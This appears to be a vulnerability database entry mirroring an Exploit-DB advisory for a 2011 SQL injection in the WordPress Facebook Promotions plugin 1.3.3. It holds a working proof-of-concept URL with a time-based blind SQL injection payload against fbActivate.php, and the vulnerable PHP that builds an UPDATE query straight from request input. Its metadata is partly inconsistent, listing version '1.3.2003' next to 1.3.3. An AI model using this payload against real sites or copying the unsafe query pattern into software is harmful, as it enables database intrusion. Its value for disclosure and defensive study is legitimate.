WordPress Facebook Promotions plugin

vendor:

Facebook Promotions plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Facebook Promotions plugin

Affected Version From: 1.3.2003

Affected Version To: 1.3.2003

Patch Exists: NO

Related CWE:

CPE: a:wordpress:facebook_promotions_plugin:1.3.3

Metasploit:

Other Scripts:

Platforms Tested: WordPress

2011

WordPress Facebook Promotions plugin <= 1.3.3 SQL Injection Vulnerability

The WordPress Facebook Promotions plugin version 1.3.3 is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a specially crafted request to the fbActivate.php file, allowing them to execute arbitrary SQL queries.

Mitigation:

To mitigate this vulnerability, users should update to the latest version of the plugin and ensure that magic_quotes is turned on.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Facebook Promotions plugin <= 1.3.3 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/fbpromotions.1.3.3.zip
# Version: 1.3.3 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/fbpromotions/fbActivate.php?action=activate&name=test&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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if($_REQUEST['action']=="activate"){
    $key = md5(get_option("key").$_REQUEST['name'].$_REQUEST['id']);
    ...
    $sql = "UPDATE fb_promotions SET `landing_order`=1,`activation_key`='".$key."' WHERE promo_id='".$_REQUEST['id']."'";